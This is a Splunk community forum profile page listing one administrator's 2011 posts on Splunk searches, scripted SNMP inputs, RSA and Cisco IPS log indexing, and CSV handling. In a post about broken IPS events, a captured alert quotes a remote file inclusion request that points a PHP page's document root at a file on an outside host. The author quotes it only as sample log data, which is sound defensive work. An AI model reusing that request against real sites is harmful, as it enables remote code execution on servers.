About joshd

joshd · ‎10-31-2011

There should be no issue with this search.. can you run the search over a recent period of time to make sure it returns some results? Just to verify it's indexing the internal metric properly. Take a peak at my blog post for some relevant searches that may be of assistance: http://www.joshd.ca/content/splunk-usage-statistic-searches

joshd · ‎10-21-2011

Thats totally a design decision you'd have to make based on your users. Generally if I have only three dashboards I'd like my users to access I'll create a simple app and restrict them to that app. The "landing" page on the app would show some "summary charts" and then have text directing the users on how to navigate around or what the values/options/charts all mean. Then instead of a drop down list (because you only have three dashboards) just add the view's to the navigation bar as their own clickable tab.

joshd · ‎10-21-2011

Run this search: index=_internal source=*metrics.log group=per_index_thruput series!=_* | eval totalGB = (kb/1024)/1024 | stats sum(totalGB) And choose from the time drop down "Previous Year" or choose "Custom Time" and click "earliest date" then set the appropriate date to search up until. This will give you a total of the GB indexed.

joshd · ‎10-21-2011

Quick and dirty... I would use specific snmpget commands or a generic snmpwalk as a scripted input inside of Splunk to index the stats every-X minutes and then build your reports on that data. The snmpwalk will provide you a more generic way to pull data regardless of configuration changes on the device. I don't do this with my cisco devices specifically but with other devices I will do an snmpwalk like so: snmpwalk -v 2c -c public 1.1.1.1 -O sQ system This will return results like so: sysDescr = "some string" which easily allows for automatic mapping of fields to values, thus your reports are easily generated without any need for field extractions, etc...

joshd · ‎09-27-2011

What I've been doing is just getting the RSA to send snmptraps to my splunk server then have splunk monitor and index those events from the file, this will get you all the login/logout events, etc. I also incorporate a scripted input to snmpget specific values from the RSA. From there it's not too hard to write a regex or do field extractions to get the relevant data you need. Here's a sample snmptrap from the RSA: 2011-09-27 11:42:36 rsa.local [UDP: [1.1.1.1]:18631]: DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (258755894) 29 days, 22:45:58.94 SNMPv2-MIB::snmpTrapOID.0 = OID: SNMPv2-SMI::enterprises.2197.20.17 SNMPv2-SMI::enterprises.2197.20.16.5.0 = STRING: "INFO" SNMPv2-SMI::enterprises.2197.20.16.7.0 = STRING: "13002" SNMPv2-SMI::enterprises.2197.20.16.6.0 = STRING: "Runtime event {ID: ab8d4ba064010a0a028e5a0170b5331e, time: Tue Sep 27 11:42:36 EDT 2011, client: 1.1.1.10, user: User [ID: 30842478345210b0a033433a28853f555, session ID: ab8d4c9c64345a0a028cb2e9fba30e5f-/bpgaUNcPy79, login name: John_Doe, first name: John, last name: Doe, security domain ID: 5c27c74364010a0a03763757bf63fd18, identity source ID: 307de6a864010a0a0342aca89e488d7e], action: AUTHN_LOGIN_EVENT, action id: 13002, result: SUCCESS, reason: AUTHN_METHOD_SUCCESS, agent: Agent [ID: 2c2e979b64010a0a02916426272037ec, name: server1.local, address: 1.1.1.10, type: 7, security domain ID: 000000000000000000001000e0011000], policy: Policy [method ID: 000000000000000000002000f1022000, policy ID: null, method name: SecurID_Native, policy expression: null], arguments: [AUTHN_LOGIN_EVENT, 5, 1, null, null, null, null, 3084c90864010a0a0286b13a3dc6c61f, 000111656726, null]}" SNMPv2-SMI::enterprises.2197.20.16.8.0 = STRING: "AUTHN_METHOD_SUCCESS"

joshd · ‎09-25-2011

Not sure if you're still working on this but I just published by Barracuda Web Filter application onto Splunkbase... it can be found here: http://splunk-base.splunk.com/apps/31192/splunk-for-barracuda-web-filter

joshd · ‎07-20-2011

Go into the manager, then into access controls, click on roles, select the relevant role and make sure the relevant index is applied to their role. If the index this file is going into is on the left hand side under "Indexes" (and not in the grey box on the right hand side) then you need to click on the green arrow beside the index name so it gives the role permission to search on that index. Also you may wish to make it a part of the "Indexes searched by default" so that when they run their search they do not need to explicitly specify the index=whatever cheers

joshd · ‎07-19-2011

Hoping someone can shed some light on this issue... I just upgraded my lightweight forwarders to the new universal forwarder and across four of the forwarders I have two scripted inputs that produce the same thing on each forwarder. However I noticed in my logs that one of the scripted inputs on a specific forwarder is creating log entries in splunkd.log like below every time it runs: 07-19-2011 11:13:34.292 -0400 WARN DateParserVerbose - A possible timestamp match (Fri Sep 2 03:32:16 2005) is outside of the acceptable time window. If this timestamp is correct, consider adjusting MAX_DAYS_AGO and MAX_DAYS_HENCE. Context="source::/opt/splunkforwarder/etc/system/bin/logger.sh fas_batch_app 8180|host::db1|stats|remoteport::54811" 07-19-2011 11:14:34.295 -0400 WARN DateParserVerbose - A possible timestamp match (Fri Sep 2 03:32:16 2005) is outside of the acceptable time window. If this timestamp is correct, consider adjusting MAX_DAYS_AGO and MAX_DAYS_HENCE. Context="source::/opt/splunkforwarder/etc/system/bin/logger.sh fas_batch_app 8180|host::db1|stats|remoteport::54811" 07-19-2011 11:15:34.294 -0400 WARN DateParserVerbose - A possible timestamp match (Sun Jun 19 19:30:08 2005) is outside of the acceptable time window. If this timestamp is correct, consider adjusting MAX_DAYS_AGO and MAX_DAYS_HENCE. Context="source::/opt/splunkforwarder/etc/system/bin/logger.sh fas_batch_app 8180|host::db1|stats|remoteport::54811" 07-19-2011 11:16:34.295 -0400 WARN DateParserVerbose - A possible timestamp match (Sun Jun 19 19:30:08 2005) is outside of the acceptable time window. If this timestamp is correct, consider adjusting MAX_DAYS_AGO and MAX_DAYS_HENCE. Context="source::/opt/splunkforwarder/etc/system/bin/logger.sh fas_batch_app 8180|host::db1|stats|remoteport::54811" 07-19-2011 11:17:34.296 -0400 WARN DateParserVerbose - A possible timestamp match (Tue Aug 30 02:43:12 2005) is outside of the acceptable time window. If this timestamp is correct, consider adjusting MAX_DAYS_AGO and MAX_DAYS_HENCE. Context="source::/opt/splunkforwarder/etc/system/bin/logger.sh fas_batch_app 8180|host::db1|stats|remoteport::54811" ...Now this scripted input is set to run every 60 seconds and as mentioned every time it runs it generates these messages. The time on the forwarder and the receiver are sync'd to the same NTP server, so no issues there. It is not reading from any file, the scripted input only generates a single line to standard out with no date stamp like so: [dir:splunkforwarder]# /opt/splunkforwarder/etc/system/bin/logger.sh fas_batch_app 8180 fas_batch_app : ActiveThreadCount=208 MaxMemory=1908932608 TotalMemory=1130823680 ActiveThreadGroupCount=10 FreeMemory=568403320 So now I cannot figure out where it is getting this way back timestamp from, and as you can see with each logged message the timestamp is totally out of whack, one logged message it says "Sep 2, 2005" then the next time it runs and logs a message the timestamp is "Jun 19, 2005". I would think the forwarder/receiver is somehow tagging the message incorrectly, but I've looked at other events from this same forwarder with another scripted input that generates a single line to stdout and it has no issues and logs no messages. Has anyone seen anything like this? Where should I start? Thanks in advance!

joshd · ‎06-21-2011

Maybe there is some confusion in regards to what you're exactly looking for. But if you are looking for the memory and cpu usage by process, along with a list of the top processes consuming each then all you need to do is enable/install the Splunk for Unix and Linux app on your host. Then configure the top and ps inputs the application provides and finally after you launch the application it has the prebuilt searches to analyze CPU/memory usage by process, just choose what you would like to see from the proper drop down menu's. If you're not looking to use this application at all then just grab the top and ps input commands, store them somewhere within your splunk installation (i.e. $SPLUNKHOME/etc/system/bin) go into the Splunk manager and enable the scripted inputs for each command, define a custom sourcetype and their own index if you wish. Remember to make the appropriate props.conf entries for each sourcetype similar, or the same, to those that the Splunk for Unix and Linux app have. Now look at the searches the Splunk for Unix and Linux application uses ($SPLUNKHOME/etc/apps/unix/default/macros.conf) and edit them accordingly for your environment (change the index, etc..).

joshd · ‎06-17-2011

Best thing to do is use the Splunk for Unix and Linux Application (http://splunk-base.splunk.com/apps/22314/splunk-for-unix-and-linux)...it already has the prebuilt inputs for memory, cpu, disk, i/o, etc.. monitoring. If you want your own solution, this would at least be a good place to start by looking at how they parse their input's and search upon them.

joshd · ‎05-20-2011

I'm not sure which method you used for field extraction and I'm not sure what exact of the fields represents but as long as there is consistency in the field layout and delimitation then what you can basically do is when splunk indexes the file(s) configure a custom sourcetype for the files, lets say oracle_logs ... then in transforms.conf write a transform like so: [oracle_exp_logs] DELIMS = "|" FIELDS = "date","code","statement","username","field1","field2","field3","field4" And then in your props.conf apply the transform to the sourcetype associated with the indexed files.. [oracle_logs] REPORT-oracle = oracle_exp_logs ...What this basically will do is use "|" as the delimiter in the file and break the fields apart based on that. It will then associate the broken down fields with the field names specified by "FIELDS=" in your transform.

joshd · ‎03-31-2011

Yeah, I looked into the sdee_get.log initially and it does not report any issues, it shows successful connections to the IPS and then no more repeat messages. When I actually look at the process list on the machine (ps aux), I see the processes constantly running, should this be the case or should I only see them in the process list every X-minutes as they are configured within the inputs.conf

joshd · ‎03-30-2011

Hello, I've noticed after changing the interval setting within the inputs.conf for our various IPS' it still connects to the IPS' every 1 second regardless of what I set the interval to. Is there a reason for it not respecting this value? or is there a setting that I may be missing? Thanks, Josh

joshd · ‎03-30-2011

Ah shoot, you are right, that's my bad. Thanks for pointing out my oversight!

joshd · ‎03-30-2011

Upon an upgrade to 4.2 I noticed that splunk spit out the following: Possible typo in stanza [source::/tmp/test.csv] in /opt/splunk/etc/system/local/props.conf, line 16: CLEAN_KEYS = false Did you mean 'CHARSET'? Did you mean 'CHECK_FOR_HEADER'? Did you mean 'CHECK_METHOD'? Did you mean 'Conversely, if you commonly search a large event set with expressions like company_id!'? Did CLEAN_KEYS get phased out of Splunk 4.2? I don't see any mention of it anywhere... Thanks, Josh

joshd · ‎03-29-2011

Since the comments are limited in the number of characters I can type... here is an example of the chaining I mentioned in my comment above: 1301413026601539000 eventid="1277730576015291020" hostId="bunker-s1" sig_created="20020310" sig_type="vulnerability" severity="low" app_name="sensorApp" appInstanceId="470" signature="5237" subSigid="0" description="CONNECT.*HTTP/" sig_version="S224" mars_category="Penetrate/Backdoor/CovertChannel" attacker="10.1.1.8" attacker_port="0" attacker_locality="OUT" target="10.1.0.2" target_port="8080" target_locality="OUT" protocol="tcp" attack_relevance_rating="relevant" risk_rating="47" threat_rating="47" target_value_rating="medium" interface="GigabitEthernet0/1" interface_group="vs0" vlan="0" protocol="tcp" 1301413026601539000 eventid="1277730576015291020" fromAttacker="Q09OTkVDVCB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzIEhUVFAvMS4xDQpI b3N0OiB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzDQpBY2NlcHQtRW5jb2Rp bmc6IGlkZW50aXR5DQpVc2VyLUFnZW50OiByaG4ucnBjbGliLnB5LyRSZXZp c2lvbjogMTM2NTg5ICQNCg0K" fromAttacker_details="CONNECT xmlrpc.rhn.redhat.com:443 HTTP/1.1 Host: xmlrpc.rhn.redhat.com:443 Accept-Encoding: identity User-Agent: rhn.rpclib.py/$Revision: 136589 $ " 1301413027122338000 eventid="1277730576015291022" hostId="bunker-s1" sig_created="20020310" sig_type="vulnerability" severity="low" app_name="sensorApp" appInstanceId="470" signature="5237" subSigid="0" description="CONNECT.*HTTP/" sig_version="S224" mars_category="Penetrate/Backdoor/CovertChannel" attacker="10.1.1.8" attacker_port="0" attacker_locality="OUT" target="10.1.0.2" target_port="8080" target_locality="OUT" protocol="tcp" attack_relevance_rating="relevant" risk_rating="47" threat_rating="47" target_value_rating="medium" interface="GigabitEthernet0/1" interface_group="vs0" vlan="0" protocol="tcp" 1301413027122338000 eventid="1277730576015291022" fromAttacker="Q09OTkVDVCB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzIEhUVFAvMS4xDQpI b3N0OiB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzDQpVc2VyLUFnZW50OiBy aG4ucnBjbGliLnB5LyRSZXZpc2lvbjogMTM2NTg5ICQNCg0K" fromAttacker_details="CONNECT xmlrpc.rhn.redhat.com:443 HTTP/1.1 Host: xmlrpc.rhn.redhat.com:443 User-Agent: rhn.rpclib.py/$Revision: 136589 $ " ... I guess I could add a BREAK_ONLY_BEFORE statement to the props, would this be the best way to go though?

joshd · ‎03-29-2011

Ok so the SHOULD_LINEMERGE did merge the events as expected, however it seems that when it polls the IPS to pull events if there are multiple events all at the same time, it chains all of them together...

joshd · ‎03-29-2011

It is coming in via the scripted input and not from syslog. Let me know if you would like more examples or any further information. I've added the should_linemerge now and we'll see how everything goes. Thanks.

joshd · ‎03-28-2011

Hello, I noticed with the latest version of the app "Splunk for Cisco IPS" that events from my IPS are being broken up into multiple events, thus not properly being processed. Here is an example of an event from the logs that is split up into multiple events: 1301341484727328000 eventid="1277730814573973950" fromAttacker="R0VUIC9jb250YWN0LnBocC8vLy8/X1NFUlZFUltET0NVTUVOVF9ST09UXT1o dHRwOi8vc21hc2gyLmZpbGVhdmUuY29tL3pmeGlkMS50eHQ/Pz8gSFRUUC8x LjENCkNvbm5lY3Rpb246IGNsb3NlDQpIb3N0OiB3d3cuaW50ZXJhYy5jYQ0K VXNlci1BZ2VudDogTW96aWxsYS81LjANCg0K" fromAttacker_details="GET /contact.php////?_SERVER[DOCUMENT_ROOT]=3Dhttp://smash2.fileave.com/zfx= id1.txt??? HTTP/1.1 Connection: close Host: www User-Agent: Mozilla/5.0 " You can see how the fromAttacker is split into multiple events because of the line break. Is this a know issue, any quick way of fixing it? Thanks, Josh

joshd · ‎02-25-2011

That's perfect thanks, I dont know why I didn't even think of using a transform.

joshd · ‎02-24-2011

I'm wondering if it's possible to set the host value for an event based on data within that event. Essentially I'm capturing snmp traps to a file that is monitored by Splunk. The first line of the event looks like this: 2011-02-24 13:29:09 remote-host [UDP: [10.1.1.11]:34438]: ...Now obviously when processed by Splunk it sets the host value of each event to the default host (the local system). However I would like to set it to the value of 'remote-host' that appears on the first line of each event. Is this possible? Thanks!

joshd · ‎02-23-2011

Hey ron, thanks for the reply. This was actually the exact solution I ended up coming up with to meet my need. I am going to give your other idea a try on a test system here when I find some time. I appreciate your ideas!

joshd · ‎02-10-2011

gkanapathy - the values from the files header are not being appropriately mapped to the data in the given column. So I do not see "No." mapping to 1 or 2, I do not see "CSW-1D.CACHE-1CA" mapping to 6, etc... Maybe I'm missing something or how exactly this is suppose to work? I thought I've read what I can on the subject to understand, but feel free to point me to anything you may feel suiting. Thanks!

joshd · ‎02-10-2011

ron - These will be monitored files that are generated each hour. The header never changes but the data obviously does

joshd · ‎02-10-2011

I was thinking of doing this but there is more than one CSV file that I'm trying to index (517 to be exact) and only about a quarter of them have the same header, so it would be too exhausting to write each individually. Appreciate the help though. I've also now dropped the first 6 lines by using sed before moving the files to the directory that splunk is monitoring.

Posts	136
Solutions	23
Karma Given	22
Karma Received	104
Member Since	‎08-12-2010

Online Status	Offline
Date Last Visited	‎08-26-2024 02:53 PM

Very strange issue with timestamp's from a scripte...

Splunk for Cisco IPS - connects to IPS every secon...

Splunk 4.2 complains about possible typo for CLEAN...

Splunk for Cisco IPS - events being broken up into...

Assigning host value based on data in event

How to not index first X lines in CSV file ??

Extracting field values from a single line inside ...

showPager and count values not being respected

Info Box not updating with data

Data appended to start of each event - ....Why?

Re: Index data volume for logs older than a year

Re: how to create a single entry page for multiple...

Re: Index data volume for logs older than a year

Re: Monitor cisco router interfaces

Re: Integrate Splunk with RSA

Re: Barracuda Web Filter

Re: Permissions for index access

Very strange issue with timestamp's from a scripte...

Re: search matters

Re: search matters

Re: Regular expression to upload files from oracle...

Re: Splunk for Cisco IPS - connects to IPS every s...

Splunk for Cisco IPS - connects to IPS every secon...

Re: Splunk 4.2 complains about possible typo for C...

Splunk 4.2 complains about possible typo for CLEAN...

Re: Splunk for Cisco IPS - events being broken up ...

Re: Splunk for Cisco IPS - events being broken up ...

Re: Splunk for Cisco IPS - events being broken up ...

Splunk for Cisco IPS - events being broken up into...

Re: Assigning host value based on data in event

Assigning host value based on data in event

Re: How to not index first X lines in CSV file ??

Re: How to not index first X lines in CSV file ??

Re: How to not index first X lines in CSV file ??

Re: How to not index first X lines in CSV file ??

Join the Conversation